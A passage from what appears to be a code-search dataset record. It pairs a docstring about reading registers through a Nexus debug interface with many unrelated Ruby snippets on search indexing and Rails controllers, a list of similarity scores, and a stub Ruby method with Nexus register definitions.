3\n alt_3 = 2\n look_3_0 = @input.peek( 1 )\n\n if ( look_3_0 == T__18 )\n alt_3 = 1\n\n end\n case alt_3\n when 1\n # at line 25:42: ',' ID\n char_literal10 = match( T__18, TOKENS_FOLLOWING_T__18_IN_create_index_133 )\n __ID11__ = match( ID, TOKENS_FOLLOWING_ID_IN_create_index_136 )\n\n tree_for_ID11 = @adaptor.create_with_payload( __ID11__ )\n @adaptor.add_child( root_0, tree_for_ID11 )\n\n\n else\n break # out of loop for decision 3\n end\n end # loop for decision 3\n string_literal12 = match( T__19, TOKENS_FOLLOWING_T__19_IN_create_index_140 )\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 3 )\n\n end\n \n return return_value\n end", "def index_search_document\n searchable = search_document\n\n # make sure the search document exists\n searchable = create_search_document if searchable.nil?\n\n # if an 'if:' was passed to the options,\n # make sure it passes before adding any more content\n if search_options[:if].present? && !send(search_options[:if])\n searchable.content = \"\"\n searchable.save\n\n else\n # update the content\n searchable.content = searchable_content\n\n # update any extra fields\n Array(search_options[:with_fields]).each do |extra_field|\n searchable[extra_field] = send(extra_field)\n end\n\n # save the document\n searchable.save\n end\n end", "def index( index_name, ensure_exists = false )\n \n index_instance = nil\n \n if index_name.nil?\n raise ::ArgumentError, 'Index name required but received nil.'\n end\n \n unless index_instance = indexes[ index_name ]\n if ensure_exists\n raise ::ArgumentError, 'No index found by name ' << index_name.to_s + ' for ' << to_s + '.'\n end\n end\n \n return indexes[ index_name ]\n\n end", "def create\n @simple_search = SimpleSearch.new(simple_search_params)\n get_response(params)\n respond_to do |format|\n format.html { render :index}\n format.json { render :index, status: 200 }\n end\n end", "def create\n @search = Search.perform(search_params)\n @decorated_result = decorated_result(@search)\n end", "def create_index\n dataset.create_index(index_params)\n end", "def execute(input_set = nil)\n resp = super(input_set)\n results = CreateIndexResultSet.new(resp)\n return results\n end", "def index()\n @index\n end", "def index\n SearchIndex.create(shout: shout, data: body)\n end", "def create\r\n @search = Item.search(params[:search])\r\n super\r\n end", "def index_search\n return\n #Search for data if search comes in\n if params[:search] != nil\n #Delete any temp search docs so we don't search them too \n Document.destroy_all(:name => ENV['temp_search_doc'])\n \n #start recording run time\n data_stime = Time.now() #start time\n \n d = document_search_data_couch(params[:search], params.has_key?(\"lucky_search\"))\n data_etime = Time.now() #end time\n data_ttime = data_etime - data_stime #total time\n \n #start recording run time\n doc_stime = Time.now() #start time\n \n c=Collection.find_or_create_by_name(\"Recent Searches\")\n c.save\n \n @temp_search_document = Document.new\n @temp_search_document.name = ENV['temp_search_doc']\n @temp_search_document.collection = c\n @temp_search_document.stuffing_data = d\n @temp_search_document.stuffing_is_search_doc = TRUE\n @temp_search_document.save\n \n#TODO: taking out document searching for now, because it is so slow! \n=begin \n doc_etime = Time.now() #end time\n doc_ttime = doc_etime - doc_stime #total time\n \n @documents = Document.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 5, :page => params[:page])\n\n flash[:notice]=\"Searched data in #{data_ttime} seconds, searched document names in #{doc_ttime}.\"\n=end\n @documents = []\n flash[:notice]=\"Searched data in #{data_ttime} seconds.\"\n else\n @documents = Document.all.paginate(:per_page => 5, :page => params[:page])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @documents }\n end\n end", "def build_indexes\n Schema::Physical::Indexes.new\n end", "def create_index_with(type, index_name)\n db = Neo4j.started_db\n index_config = lucene_config(type)\n if config.entity_type == :node\n db.lucene.for_nodes(index_name, index_config)\n else\n db.lucene.for_relationships(index_name, index_config)\n end\n end", "def generate\n debug_msg \"Generating JSON index\"\n\n debug_msg \" writing search index to %s\" % SEARCH_INDEX_FILE\n data = build_index\n\n return if @options.dry_run\n\n out_dir = @base_dir + @options.op_dir\n index_file = out_dir + SEARCH_INDEX_FILE\n\n FileUtils.mkdir_p index_file.dirname, :verbose => $DEBUG_RDOC\n\n index_file.open 'w', 0644 do |io|\n io.set_encoding Encoding::UTF_8\n io.write 'var search_data = '\n\n JSON.dump data, io, 0\n end\n unless ENV['SOURCE_DATE_EPOCH'].nil?\n index_file.utime index_file.atime, Time.at(ENV['SOURCE_DATE_EPOCH'].to_i).gmtime\n end\n\n Dir.chdir @template_dir do\n Dir['**/*.js'].each do |source|\n dest = File.join out_dir, source\n\n FileUtils.install source, dest, :mode => 0644, :preserve => true, :verbose => $DEBUG_RDOC\n end\n end\n end", "def index\n @searches = Search.where(save_search: true, user_id: current_user.id, searchType: params[:searchType])\n @search_type = params[:searchType]\n end", "def index\n query = search_params[\"search\"]\n if query\n @documents = Document.search(query)\n else\n @documents = Document.all\n end\n end", "def build_index!(&block)\n entries_added = do_build_index(&block) unless built?\n\n #make the hash from abbreviated parts of speech to full definitions\n @pos_hash ||= build_pos_hash\n\n entries_added\n end", "def search_indexes\n Search.indexes(self)\n end", "def as_index_document()\n doc = {'format'=>'Node', 'title'=> title, 'id' => persistent_id, 'version'=>id, 'model' => model.id, 'model_name' => model.name, 'pool' => pool_id}\n doc.merge!(solr_attributes)\n doc.merge!(solr_associations)\n doc\n end", "def index(*args)\n\t\t\treturn find_index(*args,&block)\n\t\tend", "def indexes\n raise 'not implemented'\n end", "def open_index(o={})\n @clf = cache_data('clf', Searcher.load_features())\n @con_weights = cache_data('con_weights', Searcher.load_weights(CON_FEATURES, 'con', Conf.weight_con))\n @doc_weights = cache_data('doc_weights', Searcher.load_weights(DOC_FEATURES, 'doc', Conf.weight_doc))\n end", "def new_search\n\t\tpos = origin_position(request.remote_ip)\n\t\ts = Search.new\n\t\ts.query = query_param\n\t\ts.longitude = pos[:longitude]\n\t\ts.latitude = pos[:latitude]\n\t\ts.locale = I18n.locale.to_s\n\t\ts.categories = category_param.sort.join('|')\n\t\ts.sources = source_param.sort.join('|')\n\t\ts.page = request.referer || \"\"\n\t\ts.user = current_user if user_signed_in?\n\t\ts.save if s.query.present?\n\t\ts\n\tend", "def documentation_search store, generator, req, res\n json_index = @cache[store].fetch :json_index do\n @cache[store][:json_index] =\n JSON.dump generator.json_index.build_index\n end\n\n res.content_type = 'application/javascript'\n res.body = \"var search_data = #{json_index}\"\n end", "def index\n @searches = Search.where(business_id: current_business.id)\n end", "def search\n\n end", "def create_index(args)\n if args[:name]\n new_index = create_new_index(args)\n\n @conn.query({url_path: \"#{database}/_index\", opts: new_index, method: :post})\n else\n raise ArgumentError.new('name is required')\n end\n end", "def new_input_set()\n return CreateIndexInputSet.new()\n end", "def create_search_index\n Tire.index Person.index_name do\n create(\n settings: {\n analysis: {\n filter: {\n name_ngrams: {\n 'side' => 'front',\n 'max_gram' => 10,\n 'min_gram' => 1,\n 'type' => 'edgeNGram'\n }\n },\n analyzer: {\n full_name: {\n 'filter' => %w(standard lowercase asciifolding),\n 'type' => 'custom',\n 'tokenizer' => 'standard'\n },\n partial_name: {\n 'filter' => %w(standard lowercase asciifolding name_ngrams),\n 'type' => 'custom',\n 'tokenizer' => 'standard'\n },\n keyword: {\n 'filter' => %w(lowercase),\n 'tokenizer' => 'keyword'\n }\n }\n },\n store: {\n type: Rails.env.test? ? :memory : :niofs\n }\n },\n mappings: {\n person: {\n properties: {\n first_name: {\n fields: {\n partial: {\n search_analyzer: 'full_name',\n index_analyzer: 'partial_name',\n type: 'string'\n },\n first_name: {\n type: 'string',\n analyzer: 'full_name'\n }\n },\n type: 'multi_field'\n },\n last_name: {\n fields: {\n partial: {\n search_analyzer: 'full_name',\n index_analyzer: 'partial_name',\n type: 'string'\n },\n last_name: {\n type: 'string',\n analyzer: 'full_name'\n }\n },\n type: 'multi_field'\n },\n initials: {\n type: 'string',\n analyzer: 'simple'\n },\n profession: {\n type: 'string',\n analyzer: 'keyword'\n },\n email: {\n type: 'string',\n analyzer: 'simple'\n },\n login: {\n type: 'string',\n analyzer: 'simple'\n },\n year_entrance: {\n type: 'date',\n format: 'YYYY'\n },\n year_out: {\n type: 'date',\n format: 'YYYY'\n }\n }\n }\n }\n )\n end\n end", "def create_search_doc_couchdb_lucene(locales = [Settings[:DEFAULT_LOCALE]])\n json_doc = JSON.parse(File.read(Pathname.new(File.dirname(__FILE__) + \"/../../\" + \"couchdb_views/lucene_search_view.json\").cleanpath))\n json_doc[\"fulltext\"][\"by_content\"][\"index\"] = construct_design_doc(\"couchdb_views/lucene_search_view.js\", locales)\n json_doc[:content_hash] = generateCheckSum(json_doc[\"fulltext\"][\"by_content\"][\"index\"])\n json_doc[:updated] = Time.now.to_date.iso8601\n upsert_doc(@db, json_doc, json_doc, :content_hash, @log)\n end", "def build_index\r\n raise \"cannot build index without an identifier provider\" unless @identifier_provider\r\n @index = elements.collect { |e|\r\n ident = @identifier_provider.call(e, nil)\r\n ident && !ident.empty? ? [ident, e] : nil \r\n }.compact\r\n end", "def generate(site)\n puts 'Running the search indexer...'\n\n # gather pages and posts\n items = pages_to_index(site)\n content_renderer = PageRenderer.new(site)\n index = []\n\n items.each do |item|\n entry = SearchEntry.create(item, content_renderer)\n\n entry.strip_index_suffix_from_url! if @strip_index_html\n entry.strip_stopwords!(stopwords, @min_length) if File.exists?(@stopwords_file) \n \n index << {\n :title => entry.title, \n :url => entry.url,\n :date => entry.date,\n :categories => entry.categories,\n :body => entry.body\n }\n \n puts 'Indexed ' << \"#{entry.title} (#{entry.url})\"\n end\n \n json = JSON.generate({:entries => index})\n \n # Create destination directory if it doesn't exist yet. Otherwise, we cannot write our file there.\n Dir::mkdir(site.dest) unless File.directory?(site.dest)\n \n # File I/O: create search.json file and write out pretty-printed JSON\n filename = 'search.json'\n \n File.open(File.join(site.dest, filename), \"w\") do |file|\n file.write(json)\n end\n\n File.open(File.join('.', filename), \"w\") do |file|\n file.write(json)\n end\n\n # Keep the search.json file from being cleaned by Jekyll\n site.static_files << Jekyll::SearchIndexFile.new(site, site.dest, \"/\", filename)\n end", "def add_class_search_index(index)\n debug_msg \" generating search index\"\n \n $all.each do |klass|\n index[:searchIndex].push( search_string(klass['fullname']) )\n index[:longSearchIndex].push( search_string(klass['fullname']) )\n index[:info].push([ klass['name'], # klass.name, \n klass['parentname'], # files.include?(klass.parent.full_name) ? files.first : klass.parent.full_name, \n \"classes/#{klass['fullname']}.html\", # klass.path, \n '', # modulename ? \" < #{modulename}\" : '', \n snippet(strip_tags(klass['description'])),\n TYPE_CLASS\n ])\n end\nend", "def create_schema\n schema = @index.schema\n unless schema.tables['search']\n @index.execute_batch <<-SQL\n CREATE VIRTUAL TABLE search USING fts5(\n sequence_number,\n kanji,\n kana,\n senses\n );\n SQL\n @index.reload_schema!\n end\n end", "def index\n\t\t# Creation of the search object and search do\n if params[:filter]\n params[:by] = \"#{params[:filter][:field]}-#{params[:filter][:way]}\"\n params[:per_page] = \"#{params[:filter][:limit]}\".to_i\n end\n\t\t@search = Search.new(setting_searching_params(:from_params => params))#.advance_search_fields\n\t\t@paginated_objects = @current_objects = @search.do_search\n\t\t# Definition of the template to use to retrieve information\n\t\tif @search.category == 'user' || @search.category == 'workspace'\n\t\t\t@templatee = \"#{@search.category.pluralize}/index\"\n\t\telse\n \t@templatee = \"generic_for_items/index\"\n\t\tend\n\t\t@ajax_url = request.path\n\t\t# Management of the response depending of the request type\n\t\tif !request.xhr?\n\t\t\trespond_to do |format|\n\t \t\t\tformat.html { render :template => \"admin/searches/index.html.erb\" }\n\t\t\t\tformat.xml { render :xml => @paginated_objects }\n\t\t\t\tformat.json { render :json => @paginated_objects }\n\t\t\t\tformat.atom { render :template => \"#{@templatee}.atom.builder\", :layout => false }\n\t\t\tend\n\t\telse\n @no_div = true\n\t\t\trender :partial => @templatee, :layout => false\n\t\tend\n end", "def new\n @search = Search.new\n end", "def create_or_update_index\n # check if index is created\n if index_exists?\n IndexJob.perform_later(self.class.name, 'update', id)\n else\n IndexJob.perform_later(self.class.name, 'index', id)\n end\n end", "def create_index( dictionary )\n\n\t# test the existence of the index, and exit\n\tFile.stat( dictionary.index )\n\n\t# unless there is an error, so\n\trescue\n\n\t# 1 - it creates the index\n\tFile.open( dictionary.index, \"a\" ) do |index_file|\n\t\t# 2 - it opens the dictionary\n\t\tFile.open( dictionary ) do |dictionary_file|\n\t\t\t# 3 - for each word of the dictionary\n\t\t\tdictionary_file.readlines.each do |dictionary_line|\n\t\t\t\t# 4 - puts in the index the canonical form\n\t\t\t\tindex_file.puts dictionary_line.chomp.canonical\n\t\t\tend\n\t\tend\n\tend\nend", "def index(options = {})\n system(\"gem generate_index -d #{@path} > /dev/null\")\n # options = {:build_legacy => true, :build_modern => true}.merge(options)\n # indexer = indexer(options)\n # options[:update] ? indexer.update_index : indexer.generate_index\n end", "def index\n @searches = searches_from_history\n end", "def search_index\n part_of_index = params[:term]\n indexes = []\n \n if part_of_index\n indexes = PostIndex.where('\"index\" like ?', part_of_index + '%').select('\"index\", region, city').collect { |pi| {:value => pi.index, :label => pi.index + '-' + pi.city! } }\n end\n\n respond_to do |format|\n format.html { render :text => indexes.to_json }\n end\n end", "def setup_index\n @index_driver.setup_index\n end", "def index\n @index ||= Crawler::Index.new(base_uri)\n end", "def index\n set_index\n end", "def search(index, options = {}, &block)\n searcher = Tire::Search::Search.new(index, &block)\n options = options.dup\n if index.include?('/')\n index, type = index.split('/', 2)\n options[:type] = type\n end\n @indices << index\n @parts << [index, options, searcher]\n end", "def get_search_index(name)\n search_index = @data[:search_indexes][name]\n raise ProtobuffsErrorResponse.new(BeefcakeProtobuffsBackend::RpbErrorResp.new(:errcode => 0, :errmsg => 'notfound')) unless search_index\n\n BeefcakeProtobuffsBackend::RpbYokozunaIndexGetResp.new(\n :index => [BeefcakeProtobuffsBackend::RpbYokozunaIndex.new(search_index)]\n )\n end", "def build\n @logger.info(\"INDEXING\") { \"Building index of type #{@index_definition.name}\" }\n rdf_types = @index_definition.related_rdf_types\n number_of_documents = count_documents(rdf_types)\n @logger.info(\"INDEXING\") do\n %(Found #{number_of_documents} documents to index\n - matching type(s) #{rdf_types.inspect}\n - using allowed groups #{@search_index.allowed_groups}\"\n )\n end\n batches =\n if @max_batches && (@max_batches != 0)\n [@max_batches, number_of_documents / @batch_size].min\n else\n number_of_documents / @batch_size\n end\n batches = batches + 1\n @logger.info(\"INDEXING\") { \"Number of batches: #{batches}\" }\n\n Parallel.each(1..batches, in_threads: @number_of_threads) do |i|\n batch_start_time = Time.now\n @logger.info(\"INDEXING\") { \"Indexing batch #{i}/#{batches}\" }\n failed_documents = []\n @sparql_connection_pool.with_authorization(@search_index.allowed_groups) do |sparql_client|\n document_builder = MuSearch::DocumentBuilder.new(\n tika: @tika,\n sparql_client: sparql_client,\n attachment_path_base: @attachment_path_base,\n logger: @logger\n )\n document_uris = get_documents_for_batch(rdf_types, i)\n document_uris.each do |document_uri|\n @logger.debug(\"INDEXING\") { \"Indexing document #{document_uri} in batch #{i}\" }\n document = document_builder.build_document_for_index(\n uri: document_uri,\n index_definition: @index_definition\n )\n @elasticsearch.insert_document @search_index.name, document_uri, document\n rescue StandardError => e\n failed_documents << document_uri\n @logger.warn(\"INDEXING\") { \"Failed to index document #{document_uri} in batch #{i}\" }\n @logger.warn { e.full_message }\n end\n end\n @logger.info(\"INDEXING\") { \"Processed batch #{i}/#{batches} in #{(Time.now - batch_start_time).round} seconds.\" }\n if failed_documents.length > 0\n @logger.warn(\"INDEXING\") { \"#{failed_documents.length} documents failed to index in batch #{i}.\" }\n @logger.debug(\"INDEXING\") { \"Failed documents: #{failed_documents}\" }\n end\n end\n end", "def create\n @search = @website.searches.new params[:search]\n\n\t\t@search.url = @website.search_url(params[:search_terms]) if params[:search_terms]\n\n @search.terms = @search.description.split(' ') if params[:use_description_terms]\n\n respond_to do |format|\n if @search.save\n\n format.html { redirect_to website_search_url(@website, @search), notice: 'Search was successfully created.' }\n format.json { render json: @search, status: :created, location: @search }\n else\n format.html { render action: \"new\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @git_repo = GitRepo.new(params[:git_repo])\n \n respond_to do |format|\n if @git_repo.save\n flash[:notice] = 'GitRepo was successfully created.'\n if reindex(@git_repo.path, {:id => @git_repo.id, :git_repo_path => @git_repo.path, :git_repo_name => @git_repo.name})\n flash[:notice] += ' Search Index was updated successfully'\n end\n format.html { redirect_to(@git_repo) }\n format.xml { render :xml => @git_repo, :status => :created, :location => @git_repo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @git_repo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index!\n set_search_text!\n set_query_attributes!\n update_columns text: self.text, query: self.query\n end", "def index_finalized\n index\n end", "def build\n # Note: @index_definitions will only contain multiple elements in case of a composite type.\n @index_definitions.each do |type_def|\n @logger.info(\"INDEXING\") { \"Building index of type #{type_def[\"type\"]}\" }\n rdf_type = type_def[\"rdf_type\"]\n number_of_documents = count_documents(rdf_type)\n @logger.info(\"INDEXING\") { \"Found #{number_of_documents} documents to index of type #{rdf_type} with allowed groups #{@search_index.allowed_groups}\" }\n batches =\n if @max_batches && (@max_batches != 0)\n [@max_batches, number_of_documents / @batch_size].min\n else\n number_of_documents / @batch_size\n end\n batches = batches + 1\n @logger.info(\"INDEXING\") { \"Number of batches: #{batches}\" }\n\n Parallel.each(1..batches, in_threads: @number_of_threads) do |i|\n batch_start_time = Time.now\n @logger.info(\"INDEXING\") { \"Indexing batch #{i}/#{batches}\" }\n failed_documents = []\n\n @sparql_connection_pool.with_authorization(@search_index.allowed_groups) do |sparql_client|\n document_builder = MuSearch::DocumentBuilder.new(\n tika: @tika,\n sparql_client: sparql_client,\n attachment_path_base: @attachment_path_base,\n logger: @logger\n )\n document_uris = get_documents_for_batch rdf_type, i\n document_uris.each do |document_uri|\n @logger.debug(\"INDEXING\") { \"Indexing document #{document_uri} in batch #{i}\" }\n document = document_builder.fetch_document_to_index(\n uri: document_uri,\n properties: type_def[\"properties\"])\n @elasticsearch.insert_document @search_index.name, document_uri, document\n rescue StandardError => e\n failed_documents << document_uri\n @logger.warn(\"INDEXING\") { \"Failed to index document #{document_uri} in batch #{i}\" }\n @logger.warn { e.full_message }\n end\n end\n @logger.info(\"INDEXING\") { \"Processed batch #{i}/#{batches} in #{(Time.now - batch_start_time).round} seconds.\" }\n if failed_documents.length > 0\n @logger.warn(\"INDEXING\") { \"#{failed_documents.length} documents failed to index in batch #{i}.\" }\n @logger.debug(\"INDEXING\") { \"Failed documents: #{failed_documents}\" }\n end\n end\n end\n end", "def create_elasticsearch_index\n unless index.exists?\n if index_name[/(.*)_alias$/]\n name_prefix = $1\n found_untimestamped_index = false\n timestamped_index_name = nil\n timestamp = nil\n Tire::Index.all.each do |index_name|\n if index_name[Regexp.new(\"^#{name_prefix}$\")]\n # ^^ look for an index without the _alias prefix in its name\n found_untimestamped_index = true\n elsif index_name[Regexp.new(\"^#{name_prefix}_(\\\\d{14})$\")] && (timestamp.blank? || $1.to_i > timestamp.to_i)\n # ^^ look for an index with a timestamp in its name, and store the newest one (timestamp)\n timestamp = $1\n timestamped_index_name = index_name\n end\n end\n if timestamp.present?\n response = Tire::Alias.create({name: index_name, indices: [timestamped_index_name]})\n log_alias_create(index_name, timestamped_index_name, response)\n elsif found_untimestamped_index\n response = Tire::Alias.create({name: index_name, indices: [name_prefix]})\n log_alias_create(index_name, name_prefix, response)\n else\n new_index = Tire.index(\"#{index_name.sub(/_alias$/, Time.now.strftime(\"_%Y%m%d%H%M%S\"))}\")\n response = new_index.create(:mappings => mapping_to_hash, :settings => settings)\n if log_index_create(response)\n response = Tire::Alias.create({name: index_name, indices: [new_index.name]})\n log_alias_create(index_name, new_index.name, response)\n end\n end\n else\n new_index = index\n response = new_index.create(:mappings => mapping_to_hash, :settings => settings)\n log_index_create(response)\n end\n end\n\n rescue *Tire::Configuration.client.__host_unreachable_exceptions => e\n STDERR.puts \"Skipping index creation, cannot connect to Elasticsearch\",\n \"(The original exception was: #{e.inspect})\"\n false\n end", "def index\n @searcheds = Searched.all\n end", "def search\n index\n render :index\n end", "def search; end", "def search\n end", "def index name = nil, dictionary = 'english', &block\n search_name = ['search', name].compact.join('_')\n\n class_eval do\n named_scope search_name.to_sym, lambda { |term|\n # Let's extract the individual terms to allow for quoted terms.\n term = term.scan(/\"([^\"]+)\"|(\\S+)/).flatten.compact.map {|lex| \"'#{lex}'\"}.join(' & ')\n {\n :select => \"#{table_name}.*, ts_rank_cd((#{full_text_indexes.first.to_s}),\n to_tsquery(#{connection.quote(term)})) as rank\",\n :conditions =>\n [\"#{full_text_indexes.first.to_s} @@ to_tsquery(?)\", term],\n :order => 'rank DESC'\n }\n }\n end\n index_name = [table_name, name, 'fts_idx'].compact.join('_')\n (self.full_text_indexes ||= []) <<\n FullTextIndex.new(index_name, dictionary, self, &block)\n end", "def create_index o_class, name:, on: :automatic, type: :unique\n logger.progname = 'RestCreate#CreateIndex'\n begin\n c = classname o_class\n execute transaction: false do\n \t command = if on == :automatic\n \t\t \"CREATE INDEX #{c}.#{name} #{type.to_s.upcase}\"\n \t\telsif on.is_a? Array\n \t\t \"CREATE INDEX #{name} ON #{classname(o_class)}(#{on.join(', ')}) #{type.to_s.upcase}\"\n \t\telse\n \t\t nil\n \t\tend\n \t [{type: \"cmd\", language: 'sql', command: command}]\n end\n logger.info{\"Index on #{c} based on #{name} created.\"}\n rescue RestClient::InternalServerError => e\n response = JSON.parse(e.response)['errors'].pop\n \t error_message = response['content'].split(':').last\n logger.error{\"Index not created.\"}\n logger.error{\"Error-code #{response['code']} --> #{response['content'].split(':').last }\"}\n nil\n end\n end", "def index\n Index.new(root, paths, extensions, aliases)\n end", "def index\n @docs = SearchController.search(params[:query]) if params[:query].present?\n end", "def search \n\n end", "def index\n # Generate sunspot search\n @records = record_default_search\n\n respond_with(@records)\n end", "def search\n\n end", "def create\n @search = Search.new(search_params)\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to action: 'new', query: @search.query }\n format.json { render :show, status: :created, location: @search }\n else\n format.html { redirect_to action: 'new' }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def search(index, body)\n handler.search index: index, body: body\n end", "def search\n end" ]
[ "0.86561006", "0.80279", "0.7732848", "0.7458167", "0.7252066", "0.72442234", "0.7135191", "0.7017779", "0.69923246", "0.69323915", "0.69263905", "0.6917118", "0.6917118", "0.69138503", "0.689705", "0.68556327", "0.6846981", "0.67983127", "0.6721871", "0.67210317", "0.669515", "0.66783065", "0.6650318", "0.6611157", "0.6607603", "0.6607603", "0.6607603", "0.6607603", "0.6607603", "0.65948814", "0.6575051", "0.65724283", "0.6568281", "0.65575844", "0.65569806", "0.65555096", "0.6552684", "0.6550283", "0.65416974", "0.65287805", "0.65112144", "0.6485136", "0.64816165", "0.64794964", "0.6459681", "0.6401997", "0.63866603", "0.638561", "0.6370839", "0.63569117", "0.6353522", "0.6328406", "0.63195676", "0.6290277", "0.6290116", "0.6289658", "0.62839484", "0.62816566", "0.62797743", "0.6277733", "0.6271252", "0.6267658", "0.62625855", "0.6261191", "0.6259277", "0.6258444", "0.62514204", "0.6243212", "0.6242939", "0.6234137", "0.6233771", "0.6232784", "0.62292403", "0.62290835", "0.62240916", "0.6220225", "0.6213592", "0.6194945", "0.61892956", "0.61853373", "0.61817735", "0.617155", "0.6170866", "0.6169484", "0.61673313", "0.6162786", "0.6161739", "0.6152647", "0.61524975", "0.6143335", "0.6139665", "0.6137803", "0.6130726", "0.6126702", "0.6126486", "0.61245084", "0.6122691", "0.6110121", "0.6102773", "0.6101845", "0.61007875" ]
0.0
-1
Hook the Nexus into the register API, any register read requests will use the Nexus by default
def read_register(reg, options = {}) # nexus.read_register(reg, options) cc 'Needs to be enabled when a register protocol is available' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def register\n end", "def register\n end", "def register\n end", "def register\n end", "def register\n \n end", "def register\r\n \r\n end", "def register\n\n\tend", "def nexus\n return @nexus unless @nexus.nil?\n @nexus = Chef::Nexus.new(new_resource.url, new_resource.username, new_resource.password, new_resource.repository)\nend", "def register(*args)\n registry.register(*args)\n end", "def register\n puts \"register\"\n ApiBase.client.put(\"/device/#{self.id}\", self.to_json)\n end", "def read_nexus_register(reg_or_val, options = {})\n write_nexus_register(reg_or_val, options.merge(write: false))\n end", "def register\n @is_registered = true\n self\n end", "def register_for(id); end", "def register(object); end", "def define_nexus_registers\n # Each register has a Nexus Opcode, which we will use as 'address' below, and\n # corresponding read addresses and write addresses\n\n # RWCS - Read/Write Access Control Register\n # read addr = 0x0E, write addr = 0x0F\n reg :rwcs, 0x0E, size: 32 do\n bit 31, :ac\n bit 30, :rw\n bit 29..27, :sz\n bit 26..24, :map\n bit 23..22, :pr\n bit 15..2, :cnt\n bit 1, :err, writable: false\n bit 0, :dv, writable: false\n end\n\n # RWD - Read/Write Access Data\n # read addr = 0x12, write addr = 0x13\n reg :rwa, 0x12, size: 32 do\n bit 31..0, :addr\n end\n\n # RWD - Read/Write Access Data\n # read addr = 0x14, write addr = 0x15\n reg :rwd, 0x14, size: 32 do\n bit 31..0, :data\n end\n end", "def registry; end", "def registry; end", "def register_node\n @registered = @registry.register_node(system)\n end", "def registers; end", "def register\n # Grab the facts for this node\n facts = MK.node.facts\n hw_id = MK.node.hw_id\n\n # Format the body of our register as a JSON message\n data = { 'hw_id' => hw_id, 'facts' => facts }.to_json\n\n # Grab our user agent header.\n user_agent = MK.node.user_agent\n\n # Build our headers for the request.\n headers = {\n 'Content-Type' => 'application/json',\n 'User-Agent' => user_agent\n }\n\n # Send our RPC registration command to the server; this will raise if\n # something goes wrong in the submission process.\n result = MK.server.send_register(data, headers)\n\n # Dispatch the command we received, unless there is none...\n execute(result['action']) unless result['action'] == 'none'\n\n # ...and we are good.\n return true\n end", "def register(...)\n container.register(...)\n end", "def registry\n @registry ||= client.registry\n end", "def register(client); end", "def register\n ring_server.write [:name, @service, DRbObject.new(@object), @identifier],\n @renewer\n return nil\n end", "def sell_register (payload, params={})\r\n url = api_url \"/sell/register\"\r\n load = MultiJson.dump payload\r\n req = request_params(params)\r\n\r\n feed_or_retry do\r\n RestClient.post url, load, req \r\n end \r\n end", "def registry\n\t\tbrand(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Registry)\n\tend", "def register(name, username, password, url)\n if exists?(name)\n message = \"Square SDK repository `#{name}` is already configured\"\n raise Pod::Informative, message\n end\n\n begin\n store_settings!(name, username, password, url)\n Repository.new(name, username, password, url, repository_path(name))\n rescue => error\n remove(name)\n raise error\n end\n end", "def initialize( registry, name )\n super( registry, name,\n { SUCCESS => \"#{NAME_PREFIX}.2xx\",\n REDIRECT => \"#{NAME_PREFIX}.3xx\",\n CLIENT => \"#{NAME_PREFIX}.4xx\",\n SERVER => \"#{NAME_PREFIX}.5xx\" } )\n end", "def register(register_payload)\n Rails.logger.info 'Sending REGISTER message...'\n res = ClusterProxy::Master.new.register(register_payload)\n Rails.logger.info 'Received response from Master...'\n return res if not ApplicationHelper.res_success?(res)\n keys = res.body.split(\"\\n\")\n return res if keys.length == 0\n\n # Add returned public keys to authorized keys\n public_key_path = '/root/.ssh/authorized_keys'\n FileUtils.touch public_key_path if not File.exists? public_key_path\n contents = File.read(public_key_path)\n hosts = []\n for key in keys\n toks = key.split(' ')\n host = toks[2]\n if !hosts.include?(host) && !contents.include?(host)\n Rails.logger.info \"Adding %s root public key...\" % host\n fp = File.open(public_key_path, 'a')\n fp.write(key)\n fp.close()\n end\n hosts.append(host)\n end\n res\n end", "def finish_register\n end", "def register\n raise NotImprementedError\n end", "def register_with_system(name)\n @unique_id = name.object_id\n end", "def register_external(definition)\n register(definition, '/v1/catalog/register')\n end", "def register_default\n register( configured_default ) if configured_default\n end", "def register\n raw \"PASS #{@config[:password]}\" if @config.key? :password\n raw \"CAP LS\" if defined? MODULE_LOADED_CLIENT_CAPABILITIES\n\n raw \"NICK #{@nick}\"\n raw \"USER #{@user} 0 0 :#{@realname}\"\n end", "def write_nexus_register(reg_or_val, options = {})\n options = { write: true, # whether to write or read\n overlay: false,\n care_out: false\n }.merge(options)\n addr = exact_address(reg_or_val, options)\n addr += 1 if options[:write] # offset address by 1 since writing\n data = exact_data(reg_or_val, options)\n size = exact_size(reg_or_val, options)\n name = exact_name(reg_or_val, options)\n\n if options[:write]\n log \"Write Nexus Reg: #{name.upcase} at 0x%04X with 0x%08X\" % [addr, data]\n else\n log \"Read Nexus Reg: #{name.upcase} at 0x%04X with 0x%08X\" % [addr, data]\n end\n\n # first pass : select register via nexus command\n jtag.write_dr addr, size: nexus_command_width, msg: log2(\"OnCE_Send(#{nexus_command_width}, 0x%02X)\" % [addr])\n if options[:overlay] == true\n # if we want to overlay expect values, then\n # put dummy data in vectors to force them to be uncompressable by pattern generator.\n reg_or_val.data = 0x55555555\n data = exact_data(reg_or_val, options)\n end\n\n if options[:capture]\n reg(reg_or_val.name).store\n end\n\n if options[:write]\n # second pass : pass data to register\n jtag.write_dr reg_or_val, overlay: options[:overlay], overlay_label: options[:overlay_label], size: size, msg: log2(\"OnCE_Send(#{size}, 0x%08X)\" % [data])\n else\n if options[:care_output]\n reg(reg_or_val.name).read\n end\n # second pass : read data from register\n jtag.read_dr(reg_or_val, overlay: options[:overlay], overlay_label: options[:overlay_label], size: size, msg: log2(\"OnCE_Read(#{size}, 0x%08X)\" % [data]))\n end\n end", "def register_external(definition, options = {})\n register = 